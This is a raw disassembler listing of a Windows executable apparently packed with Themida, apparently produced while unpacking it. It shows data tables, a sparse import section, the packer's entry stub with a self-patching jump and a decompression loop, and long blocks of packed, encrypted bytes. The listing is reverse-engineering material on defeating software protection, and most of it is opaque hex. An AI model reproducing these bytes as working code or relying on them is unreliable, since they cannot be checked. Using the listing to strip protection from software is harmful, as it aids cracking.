dword_48A034	dd 23E0B30h		; DATA XREF: ___:0040E995r
					; ___:0040E9B5r ...
		dd 0
dword_48A03C	dd 23E0B58h		; DATA XREF: ___:0041F1CBw
					; sub_421DAE+9r ...
dword_48A040	dd 0			; DATA XREF: sub_422492+36r
dword_48A044	dd 0			; DATA XREF: sub_421DAE+16r
					; sub_42217C+4r ...
		dd 0
off_48A04C	dd offset aCM_unpackerPac ; DATA XREF: ___:0041F26Ew
					; "C:\\m_unpacker\\packed.exe"
		dd 0
byte_48A054	db 0			; DATA XREF: sub_419B07+2Dw
					; sub_41FAE7+5r
		align 4
dword_48A058	dd 0			; DATA XREF: sub_419B07+27w
dword_48A05C	dd 0			; DATA XREF: sub_419B07+4r
					; sub_419B07+8Bw
dword_48A060	dd 0			; DATA XREF: ___:loc_41F199r
					; ___:loc_41F1DBr ...
		align 8
dword_48A068	dd 0			; DATA XREF: sub_419CDAr sub_41F84Cr ...
dword_48A06C	dd 0			; DATA XREF: sub_41A8A2+37r
		dd 0
dword_48A074	dd 0			; DATA XREF: sub_417B89r
					; sub_41944F:loc_41956Br ...
dword_48A078	dd 0			; DATA XREF: sub_41AB54r
dword_48A07C	dd 0			; DATA XREF: sub_41BA22+4Bw
					; sub_41BB3B+2Dw ...
dword_48A080	dd 0			; DATA XREF: sub_41C96D+11r
					; sub_41CA71+1Ar ...
byte_48A084	db 0			; DATA XREF: sub_41C96D+3r
					; sub_41C96D+98r ...
		align 4
dword_48A088	dd 0			; DATA XREF: sub_41CA71+11r
					; sub_41CB4F+21w ...
byte_48A08C	db 0			; DATA XREF: sub_41CB4F+51w
		align 10h
dword_48A090	dd 0			; DATA XREF: sub_41CD45+4Er
					; sub_41D120+3Ar ...
dword_48A094	dd 0			; DATA XREF: sub_41CD45+5Cr
					; sub_41D120+43r ...
dword_48A098	dd 0			; DATA XREF: sub_417FFA+7Ar
					; sub_41CEEC+5r
dword_48A09C	dd 0			; DATA XREF: sub_41D4FC+29r
dword_48A0A0	dd 2 dup(0)		; DATA XREF: sub_418790+Co
dword_48A0A8	dd 0			; DATA XREF: sub_419063+4r
					; sub_419063+6Er ...
		dd 3 dup(0)
dword_48A0B8	dd 0			; DATA XREF: sub_4199B9+61r
					; sub_4199B9+BFr ...
		align 10h
dword_48A0C0	dd 1			; DATA XREF: sub_41E709+28r
					; sub_41E709+4Cw ...
dword_48A0C4	dd 1			; DATA XREF: sub_41E92D:loc_41EAA8r
					; sub_41EAC6+4w ...
dword_48A0C8	dd 0			; DATA XREF: ___:0041EFE5r
					; ___:0041EFF1w ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_41F257o
					; ___:off_48A04Co
		align 4
		dd 3Ah dup(0)
dword_48A1D0	dd 1			; DATA XREF: ___:0041F48Fr
					; ___:0041F4B0w ...
dword_48A1D4	dd 0			; DATA XREF: sub_41F84C+21r
dword_48A1D8	dd 0			; DATA XREF: sub_41A8A2:loc_41A8CBw
					; sub_41A96C+154w ...
dword_48A1DC	dd 1			; DATA XREF: sub_41FB63+26r
					; sub_41FB63:loc_41FBCDw
dword_48A1E0	dd 0			; DATA XREF: sub_41A96C+7r
		align 8
word_48A1E8	dw 0			; DATA XREF: sub_42074B+1Ao
					; sub_42074B+46r
byte_48A1EA	db 0			; DATA XREF: sub_42074B+39r
		align 4
dword_48A1EC	dd 7 dup(0)		; DATA XREF: sub_42074B+52o
dword_48A208	dd 0			; DATA XREF: sub_42074B+40w
					; sub_42074B+5Co
dword_48A20C	dd 0			; DATA XREF: sub_42074B+4Dw
dword_48A210	dd 0			; DATA XREF: sub_42074B+31w
dword_48A214	dd 0			; DATA XREF: sub_42074B+52w
dword_48A218	dd 77C26E79h		; DATA XREF: sub_42086E:loc_420891r
					; sub_42086E+38r
		align 10h
dword_48A220	dd 0			; DATA XREF: sub_42094E+11w
					; sub_42094E+63w ...
		align 8
dword_48A228	dd 0			; DATA XREF: sub_42094E+33o
					; sub_42094E+46r
dword_48A22C	dd 10h dup(0)		; DATA XREF: sub_42094E+C1o
word_48A26C	dw 0			; DATA XREF: sub_420BAC+A8r
word_48A26E	dw 0			; DATA XREF: sub_42094E+54r
					; sub_420BAC+DBr ...
word_48A270	dw 0			; DATA XREF: sub_420BAC+CAr
word_48A272	dw 0			; DATA XREF: sub_420BAC+D3r
					; sub_420BAC:loc_420C9Er
word_48A274	dw 0			; DATA XREF: sub_420BAC+C0r
word_48A276	dw 0			; DATA XREF: sub_420BAC+B8r
word_48A278	dw 0			; DATA XREF: sub_420BAC+B0r
word_48A27A	dw 0			; DATA XREF: sub_420BAC+9Er
dword_48A27C	dd 0			; DATA XREF: sub_42094E+4Br
dword_48A280	dd 10h dup(0)		; DATA XREF: sub_42094E+FBo
word_48A2C0	dw 0			; DATA XREF: sub_420BAC+46r
word_48A2C2	dw 0			; DATA XREF: sub_42094E:loc_4209C5r
					; sub_420BAC+78r ...
word_48A2C4	dw 0			; DATA XREF: sub_420BAC+67r
word_48A2C6	dw 0			; DATA XREF: sub_420BAC+70r
					; sub_420BAC:loc_420C30r
word_48A2C8	dw 0			; DATA XREF: sub_420BAC+5Dr
word_48A2CA	dw 0			; DATA XREF: sub_420BAC+55r
word_48A2CC	dw 0			; DATA XREF: sub_420BAC+4Dr
word_48A2CE	dw 0			; DATA XREF: sub_420BAC+3Er
dword_48A2D0	dd 0			; DATA XREF: sub_42094E+80r
dword_48A2D4	dd 0			; DATA XREF: sub_42094E+132r
					; sub_42094E:loc_420A9Ar ...
dword_48A2D8	dd 0			; DATA XREF: sub_420939r sub_420939+Ew
dword_48A2DC	dd 0			; DATA XREF: sub_42105F+3r
					; sub_42105F+2Ew ...
dword_48A2E0	dd 0			; DATA XREF: sub_42105F+43w
					; sub_42105F:loc_4210AEr
dword_48A2E4	dd 0			; DATA XREF: sub_42105F+4Aw
					; sub_42105F+60r
dword_48A2E8	dd 0			; DATA XREF: sub_41FEC6+3Fr
dword_48A2EC	dd 0			; DATA XREF: sub_421C3C:loc_421CA3r
					; sub_421C3C+6Do
dword_48A2F0	dd 0			; DATA XREF: sub_421C3C:loc_421C7Ar
					; sub_421C3C+44o
dword_48A2F4	dd 0			; DATA XREF: sub_421C3C:loc_421C6Dr
					; sub_421C3C+37o
dword_48A2F8	dd 0			; DATA XREF: sub_421C3C:loc_421C87r
					; sub_421C3C+51o
		align 10h
dword_48A300	dd 0			; DATA XREF: sub_4221EA+28r
					; sub_4221EA+48w ...
dword_48A304	dd 0			; DATA XREF: sub_422C78+28r
					; sub_422C78+4Cw ...
dword_48A308	dd 0			; DATA XREF: sub_422F03+26r
					; sub_422F03:loc_422F6Dw
byte_48A30C	db 0			; DATA XREF: sub_40482Cr sub_40482C+9w
		align 10h
dword_48A310	dd 23E1140h		; DATA XREF: sub_41A835:loc_41A846r
					; sub_41AADC+14r ...
		align 10h
dword_48A320	dd 400h	dup(0)		; DATA XREF: ___:off_43BCB8o
					; ___:0043BCC0o
dword_48B320	dd 200h			; DATA XREF: sub_41A835+9r
					; sub_41A835+56r ...
		dd 7 dup(0)
dword_48B340	dd 23E0650h		; DATA XREF: sub_419D23+B1r
					; sub_41E248+75r ...
dword_48B344	dd 3Fh dup(0)		; DATA XREF: ___:0041F651o
dword_48B440	dd 20h			; DATA XREF: sub_41A6B7+8r
					; sub_41E321+Cr ...
dword_48B444	dd 4E4h			; DATA XREF: sub_41E92D+14r
					; sub_41E92D+65w ...
		align 10h
dword_48B450	dd 3 dup(0)		; DATA XREF: sub_41E92D+123o
					; sub_41E92D+171o ...
dword_48B45C	dd 0			; DATA XREF: sub_41E92D+108w
					; sub_41E92D+15Dw ...
byte_48B460	db 0			; DATA XREF: sub_41EB6C:loc_41EC78w
					; sub_41EB6C:loc_41EC95w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_48B560	db 0			; DATA XREF: sub_41E92D+5Co
					; sub_41E92D+AFo ...
byte_48B561	db 0			; DATA XREF: sub_4192B8+5Dr
					; sub_41E92D+A0w ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_48B664	dd 0			; DATA XREF: sub_41E92D+6Ew
					; sub_41E92D+12Bw ...
dword_48B668	dd 0			; DATA XREF: sub_41B3E6+5r
					; sub_41B3E6+32w
dword_48B66C	dd 0			; DATA XREF: sub_41ADB4+23Ar
					; sub_41ADB4+25Ar ...
dword_48B670	dd 0			; DATA XREF: sub_41ADB4+311w
					; sub_41B0DD:loc_41B12Dr ...
dword_48B674	dd 0			; DATA XREF: sub_41ADB4+22Dr
					; sub_41ADB4+260r ...
dword_48B678	dd 0			; DATA XREF: sub_41AD89r
					; sub_41ADB4+2CBr ...
dword_48B67C	dd 0			; DATA XREF: sub_41AD89+8r
					; sub_41ADB4+2D0r ...
dword_48B680	dd 0			; DATA XREF: sub_417BC7+Fr
					; sub_41944F+5Cr ...
dword_48B684	dd 23E0000h		; DATA XREF: sub_417BC7+66r
					; sub_417C3B+5Ar ...
dword_48B688	dd 1			; DATA XREF: sub_417BC7r sub_417C3B+Cr ...
dword_48B68C	dd 142340h		; DATA XREF: ___:0041F13Er
					; ___:0041F269r
dword_48B690	dd 1			; DATA XREF: ___:0041F234w sub_421DAEr
dword_48B694	dd 1			; DATA XREF: sub_41ECF1r
					; sub_41ECF1+11w ...
dword_48B698	dd 23E0758h		; DATA XREF: sub_418603+13r
					; sub_418603:loc_418645r ...
dword_48B69C	dd 23E0758h		; DATA XREF: sub_418603+1r
					; sub_418603+Cr ...
		dd 258h	dup(0)
		dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0)
___		ends

; Section 2. (virtual address 0008D000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 0008D000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_rsrc___	segment	para public 'DATA' use32
		assume cs:_rsrc___
		;org 48D000h
		align 2000h
_rsrc___	ends

; Section 3. (virtual address 0008E000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 0008E000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata__	segment	para public 'DATA' use32
		assume cs:_idata__
		;org 48E000h
a7icwCw		db '7w\w',0
		align 4
		dd 77345219h, 4	dup(0)
		dd 8E050h, 8E000h, 3 dup(0)
		dd 8E079h, 8E00Ch, 5 dup(0)
aKernel32_dll_0	db 'KERNEL32.dll',0
		db 2 dup(0), 43h
aReatefilea	db 'reateFileA',0
		align 4
		dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
		dd 6C642E32h, 6Ch
aInitcommoncont	db 'InitCommonControls',0
		align 1000h
_idata__	ends

; Section 4. (virtual address 0008F000)
; Virtual size			: 000DD000 ( 905216.)
; Section size in file		: 000DD000 ( 905216.)
; Offset to raw	data for section: 0008F000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
Themida_	segment	para public 'DATA' use32
		assume cs:Themida_
		;org 48F000h
		dd 0D4B46CB4h, 4D484h, 52BB3h, 0C4172h,	0

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

var_1C		= dword	ptr -1Ch

; FUNCTION CHUNK AT 0048F265 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004EB08D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004EE35A SIZE 00000062 BYTES
; FUNCTION CHUNK AT 004EE5D0 SIZE 00000047 BYTES

		mov	eax, 0
		pusha
		or	eax, eax
		jz	short loc_48F086
		call	$+5
		pop	eax
		add	eax, 53h
		cmp	byte ptr [eax],	0E9h
		jnz	short loc_48F041
		popa
		jmp	short loc_48F076
; ---------------------------------------------------------------------------
		db 0DBh, 2Dh, 37h
		dd 0FF0048F0h, 0FFFFFFFFh, 3DFFFFFFh
		db 40h
; ---------------------------------------------------------------------------

loc_48F041:				; CODE XREF: start+18j
		call	$+5
		pop	eax
		and	eax, 0FFFFF000h
		xor	edi, edi

loc_48F04E:				; CODE XREF: start+5Ej
		mov	bx, 5A19h
		add	bx, 34h
		cmp	[eax], bx
		jnz	short loc_48F06D
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		mov	ebx, 44E9h
		add	ebx, 67h
		cmp	[edx], ebx
		jz	short loc_48F074

loc_48F06D:				; CODE XREF: start+45j
		sub	eax, 1000h
		jmp	short loc_48F04E
; ---------------------------------------------------------------------------

loc_48F074:				; CODE XREF: start+57j
		mov	edi, eax

loc_48F076:				; CODE XREF: start+1Bj
		jmp	loc_48F265
; ---------------------------------------------------------------------------
		db 3
		dd 0F26AB9C7h, 0CF030008h
		db 0EBh, 0Ah
; ---------------------------------------------------------------------------

loc_48F086:				; CODE XREF: start+8j
		mov	eax, offset loc_4EB08D
		mov	ecx, offset word_48F26A
		push	eax
		push	ecx
		call	sub_48F11B
		call	$+5
		pop	eax
		sub	eax, 26h
		mov	ecx, 1EFh
		mov	byte ptr [eax],	0E9h
		sub	ecx, 5
		mov	[eax+1], ecx
		popa
		jmp	loc_48F265
start		endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 9328h
		dd 7888E4C9h, 0DA6E5EBCh, 3D630BCFh, 0D85F1F80h, 0DCBA75EBh
		dd 1D3B76EDh, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh
		dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 564635CCh
		dd 0F28784C5h, 78F2E432h, 172F5EBCh, 9122458Bh,	0D8B164C8h
		dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h
		db 0C8h, 0E4h, 0F2h

; =============== S U B	R O U T	I N E =======================================



sub_48F11B	proc near		; CODE XREF: start+7Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	esi, [esp+20h+arg_0]
		mov	edi, [esp+20h+arg_4]
		cld
		mov	dl, 80h

loc_48F127:				; CODE XREF: sub_48F11B:loc_48F13Bj
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2

loc_48F132:				; CODE XREF: sub_48F11B+7Aj
					; sub_48F11B+C3j ...
		add	dl, dl
		jnz	short loc_48F13B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_48F13B:				; CODE XREF: sub_48F11B+19j
		jnb	short loc_48F127
		add	dl, dl
		jnz	short loc_48F146
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_48F146:				; CODE XREF: sub_48F11B+24j
		jnb	short loc_48F197
		xor	eax, eax
		add	dl, dl
		jnz	short loc_48F153
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_48F153:				; CODE XREF: sub_48F11B+31j
		jnb	loc_48F238
		add	dl, dl
		jnz	short loc_48F162
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_48F162:				; CODE XREF: sub_48F11B+40j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_48F16D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_48F16D:				; CODE XREF: sub_48F11B+4Bj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_48F178
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_48F178:				; CODE XREF: sub_48F11B+56j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_48F183
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_48F183:				; CODE XREF: sub_48F11B+61j
		adc	eax, eax
		jz	short loc_48F18D
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi

loc_48F18D:				; CODE XREF: sub_48F11B+6Aj
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	short loc_48F132
; ---------------------------------------------------------------------------

loc_48F197:				; CODE XREF: sub_48F11B:loc_48F146j
		mov	eax, 1

loc_48F19C:				; CODE XREF: sub_48F11B:loc_48F1B0j
		add	dl, dl
		jnz	short loc_48F1A5
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_48F1A5:				; CODE XREF: sub_48F11B+83j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_48F1B0
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_48F1B0:				; CODE XREF: sub_48F11B+8Ej
		jb	short loc_48F19C
		sub	eax, ebx
		mov	ebx, 1
		jnz	short loc_48F1E3
		mov	ecx, 1

loc_48F1C0:				; CODE XREF: sub_48F11B:loc_48F1D4j
		add	dl, dl
		jnz	short loc_48F1C9
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_48F1C9:				; CODE XREF: sub_48F11B+A7j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_48F1D4
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_48F1D4:				; CODE XREF: sub_48F11B+B2j
		jb	short loc_48F1C0
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_48F132
; ---------------------------------------------------------------------------

loc_48F1E3:				; CODE XREF: sub_48F11B+9Ej
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1

loc_48F1F1:				; CODE XREF: sub_48F11B:loc_48F205j
		add	dl, dl
		jnz	short loc_48F1FA
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_48F1FA:				; CODE XREF: sub_48F11B+D8j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_48F205
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_48F205:				; CODE XREF: sub_48F11B+E3j
		jb	short loc_48F1F1
		cmp	eax, 7D00h
		jnb	short loc_48F228
		cmp	eax, 500h
		jb	short loc_48F223
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_48F132
; ---------------------------------------------------------------------------

loc_48F223:				; CODE XREF: sub_48F11B+F8j
		cmp	eax, 7Fh
		ja	short loc_48F22B

loc_48F228:				; CODE XREF: sub_48F11B+F1j
		add	ecx, 2

loc_48F22B:				; CODE XREF: sub_48F11B+10Bj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_48F132
; ---------------------------------------------------------------------------

loc_48F238:				; CODE XREF: sub_48F11B:loc_48F153j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_48F259
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_48F132
; ---------------------------------------------------------------------------

loc_48F259:				; CODE XREF: sub_48F11B+125j
		sub	edi, [esp+20h+arg_4]
		mov	[esp+20h+var_4], edi
		popa
		retn	8
sub_48F11B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start

loc_48F265:				; CODE XREF: start:loc_48F076j
					; start+9Dj
		jmp	loc_4EB08D
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
word_48F26A	dw 38E9h		; DATA XREF: start+77o
		dd 15232C8h, 7122AFBEh,	0CEAF0BE1h, 0EEBB1101h,	0EE13522h
		dd 0F4DAF5BAh, 6552F0FBh, 61741C73h, 7041CE72h,	784F2E2Fh
		dd 5501299Ch, 702191F7h, 455E5D85h, 573DC224h, 5E54B7AFh
		dd 1003366Eh, 3430F0AFh, 0E431482Dh, 2462E9EBh,	10EA9EAh
		dd 848B98F8h, 0AA87AA6Ah, 0FD5F0803h, 85709211h, 87722E4h
		dd 0F33F957h, 0E7578F70h, 57DF0801h, 8D701111h,	54015E57h
		dd 696D6568h, 35C26164h, 0C58B4377h, 0E860D490h, 815D10E1h
		dd 32D700EDh, 95890603h, 0DC22125h, 222931B5h, 83206985h
		dd 830E55BDh, 8B0C7480h, 0E22FE872h, 0C2C9A7B8h, 714470BCh
		dd 913EC424h, 456A0130h, 2981A3E8h, 83749A68h, 40DFE907h
		dd 894B250Ah, 0D5440A7Ah, 21429E9h
		db 0ECh, 5Fh, 40h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	dword ptr [ebx], 0FFFFFFC4h
		fsubr	st, st(6)
		add	[edx-7Fh], ebx
		jmp	far ptr	0C7DAh:8B0033C5h
; ---------------------------------------------------------------------------
		db 24h,	45h, 0D8h
		dd 400E6C08h, 81088963h, 1980F37Dh, 200F741Dh, 2F83FC08h
		dd 12FF45CCh, 0E1EB3143h, 0BA61DC36h, 0C2C90A26h, 81034604h
		dd 47FF7CC4h, 0E104902h, 458D0034h, 85D8B80h, 198551C7h
		dd 808D5012h, 88C3D10Ah, 89412A18h, 0BD81280Bh,	755D8006h
		dd 0A27A5E3h, 3B64BA8Dh, 8A807501h, 24F4BB0Eh, 0AB03B85Bh
		dd 0D3785437h, 0E0FF3D0h, 0F7754B08h, 47C3AFC1h, 184A4946h
		dd 42A8F946h, 8AAE61D1h, 0D7F0D081h, 4528EEF6h,	0EB284DFCh
		dd 46F2AD04h, 403E8031h, 844DBAF7h, 7D8634B9h, 3E7FEB0Ch
		dd 6D32F843h, 2A13F012h, 510F40Eh, 0F065C14Ah, 0F8D60004h
		dd 0C203E0D1h, 332880E5h, 301C8ADBh, 30FB7380h,	390A0A72h
		dd 0EBF40577h, 9F22C9FBh, 0DD96114h, 8FD660Ah, 3A7D1EBDh
		dd 10B00AC3h, 0B72411Ah, 77460AC3h, 88247A06h, 0F0615D01h
		dd 7D83F4ECh, 6C7202CCh, 76C00CB0h, 0AA99A5DDh,	3807F826h
		dd 0A8A88D1Dh, 0FC553B02h, 0A778820Fh, 0AA06B0BDh, 0BA43F938h
		dd 82B98308h, 0BDFCA170h, 0FE003554h, 4907470Fh, 22B9FA75h
		dd 0BB706A17h, 0E409F101h, 0DEEB7682h, 868E0002h, 7043763h
		dd 3F655138h, 8ADC4536h, 0E913EF26h, 6B5947E4h,	49657F7h
		dd 5F211C13h, 758A80C4h, 45820525h, 211508CCh, 0C4570147h
		dd 0E9D98B91h, 9D178012h, 0CACF4FBBh, 41373D0Eh, 0D94A4380h
		dd 0E028AB17h, 5CFAFE00h, 8D10C32Ch, 6137C00Fh,	0AD29F082h
		dd 0A8601D3Eh, 62654C8Fh, 8800F1AEh, 0E68507BCh, 0CB8C1C6Eh
		dd 82670034h, 765B4E39h, 0B8100F01h, 0D1043D51h, 46D93BF1h
		dd 9754487h, 0E11562Eh,	0E4EC4802h, 80069065h, 5C58433h
		dd 76962A8Eh, 8553479Ch, 2945C204h, 900D718Ch, 0AABB0EE7h
		dd 812BFF30h, 22C00477h, 84C1341Dh, 753319F9h, 73FBC20h
		dd 0EF660A77h, 38027330h, 8C99EC41h, 0F9FFCC7Fh, 0FE450C40h
		dd 60A5E9h, 8C52C462h, 1108254Dh, 4CB1AA82h, 84D05AABh
		dd 18568913h, 2A825E02h, 0A18181EEh, 8A133F23h,	1388B9EAh
		dd 43971423h, 512408A5h, 91C459C3h, 1918458Ah, 514188h
		dd 0C06C5DC4h, 0BC6733EEh, 1A7B33Ah, 81F9DA8Dh,	23E805E2h
		dd 5698018Bh, 8610CA0Bh, 8C418762h, 8A83C8DBh, 2AC311Eh
		dd 870EE919h, 4CF2750Bh, 0B67DB2D0h, 18CB7E5Dh,	6CDCE4E8h
		dd 5C1A9C6Ah, 9D2F6FEAh, 801B1184h, 5F97F716h, 0B5440C95h
		dd 341F07E9h, 5D4893Dh,	8B108CE6h, 0D8BC9723h, 52191D7Eh
		dd 0A97F5F5Ch, 5C185443h, 8A23C472h, 0E1D115Dh,	0E0C45444h
		dd 0FB86D0AAh, 0BD3E0096h, 6758516Ah, 5C6FDF8Ch, 3E2C63Eh
		dd 10E9306Ah, 9A8F273Dh, 93AB940Eh, 0B9E2A05Dh,	2408EEF3h
		dd 18ABE748h, 25723DDAh, 3C100F89h, 0D4001D15h,	43675278h
		dd 0E136D40h, 53BE2F10h, 2B148486h, 0E11AEA50h,	82B67C00h
		dd 3FBCBD28h, 142A00FCh, 5B88BE25h, 0C807BB60h,	82543008h
		dd 1E6DE653h, 0F0831036h, 0A9B76143h, 9FD68102h, 0A0EEBC62h
		dd 3BBDBBC7h, 8C2D00E2h, 0CBC98238h, 15484FDBh,	87C102B0h
		dd 80EA6027h, 2268AE7Dh, 0CC3F008Ch, 0ECB19CFBh, 3E00BDD2h
		dd 0F782FA9Eh, 4875CDB6h, 0F10CD702h, 0B94AE44Bh, 70898119h
		dd 671005E0h, 493D8FBBh, 0DC88A957h, 0C206BE20h, 0AEA0890h
		dd 808F0015h, 48A5FDF2h, 0DF4CD2FEh, 7F5C017Fh,	15EA50A7h
		dd 204CF910h, 2596CC03h, 0A8DB3290h, 796C311Eh,	96E0504h
		dd 0CFBB68Bh, 613F5893h, 4111EA33h, 0AEE0D87Dh,	80EE00FBh
		dd 289E4CC7h, 9B15E509h, 15DC34h, 0EB784781h, 0F281C66h
		dd 1350BFE7h, 0CD5DB860h, 84126218h, 0BC0802ECh, 8514BB22h
		dd 82017306h, 0EA4A7DE1h, 0DCC31029h, 72E70781h, 7076F57Ch
		dd 3DC5BFAEh, 0EFE2F80Ah, 0EA0B8D06h, 35F72028h, 20F9F4h
		dd 0E06DDB9Fh, 363DA3E9h, 3F78CB1Fh, 21FDD500h,	743CCECFh
		dd 0D4C60125h, 1AA1DA23h, 0B3CCD802h, 3E530A3Ah, 35CF0FD3h
		dd 0A3EA8E51h, 0C08EEED1h, 0DDD88281h, 2A25C010h, 3EB830ECh
		dd 68C048DEh, 226C799Dh, 8C450FCEh, 0CDEE2169h,	9504AC60h
		dd 5A3052B5h, 0D92C40D3h, 0F568C0CEh, 56AFA6B9h, 0AD4C6806h
		dd 1851028Ch, 719A7915h, 5A01D317h, 4959FFF1h, 0B0812162h
		dd 0CB44724Ch, 9135E0D6h, 28924E0Ch, 3CA10CEh, 0F2FF8FCFh
		dd 507CC8D5h, 0B4F65600h, 0E898C6BEh, 6340001Ch, 0C564D7F3h
		dd 2503B734h, 0A56DCA88h, 7EA1DE2Ch, 0A8130C30h, 5B28FB9Eh
		dd 8EB39000h, 0E5486D9Ah, 49333046h, 5DECD361h,	26E4A90Fh
		dd 95086D5h, 510A2919h,	4B183EACh, 13261925h, 3810A4A3h
		dd 0B700F609h, 99F9FB95h, 0D31DFA0Eh, 31702CCCh, 345D1F4h
		dd 9C05650Dh, 6EE8FCEDh, 5C308A48h, 815AF8C9h, 9003501Eh
		dd 548C0CB4h, 6E58FCF9h, 0ACA0D600h, 0BA21D722h, 0D2B4A833h
		dd 4CC8004Dh, 913234EFh, 2100CAE7h, 0F2198A2Dh,	5426631h
		dd 0E4464188h, 2FDC20A0h, 36286137h, 0C403D0E3h, 0F9134FC6h
		dd 82BFC2C5h, 904C33BCh, 0CED62C80h, 0E720CA39h, 0B46901Ch
		dd 758C8A14h, 0B5D50384h, 5F88E62h, 0B3DE6850h,	43AC5DD8h
		dd 0E5D629D4h, 4E2B1100h, 0D2571766h, 483D00B2h, 0DA739E90h
		dd 11008975h, 0B531BF3Fh, 0D1F5BE7Ah, 0F002B450h, 0D7C56624h
		dd 78EE9700h, 9CCA503Ch, 2281105Eh, 6A37010Dh, 0F51A4958h
		dd 0DFD6C040h, 52A05F2h, 12E8091h, 7E49FAA0h, 0A3308201h
		dd 0A7324F0Ah, 0A96D33A8h, 0A45DFC03h, 0FFD1B540h, 29C035B9h
		dd 8E0DBEAFh, 79D7E8A1h, 1D6E0628h, 41D64CDFh, 0A5903B50h
		dd 0B3FCC841h, 0B4B0CA5Bh, 0CFA13990h, 1D0A4828h, 0C8F2A679h
		dd 8040C592h, 8E67C6F6h, 49E96E64h, 51C1B5A0h, 2408B8DBh
		dd 9CD7B6E0h, 0C330414Dh, 1095249h, 20228CA6h, 13C0CE00h
		dd 0F7F00A98h, 5ED982EFh, 80D8F699h, 27433A94h,	98D05091h
		dd 88630216h, 8652B8AEh, 0FD9F2469h, 0D7DDD05Ah, 0D289591Ch
		dd 0B26B8E00h, 0E864CDh, 0FFC2241Eh, 26B7184Ch,	1F71F07Fh
		dd 8D036900h, 0D85B4A4Fh, 8753004Eh, 0BA54B236h, 3D1E266Ch
		dd 0F0003542h, 0A4B37E11h, 0A17503C2h, 2859A019h, 271F96E0h
		dd 0F945D400h, 0FDC6573Bh, 90670047h, 5BC1E58Eh, 0DE009F8Dh
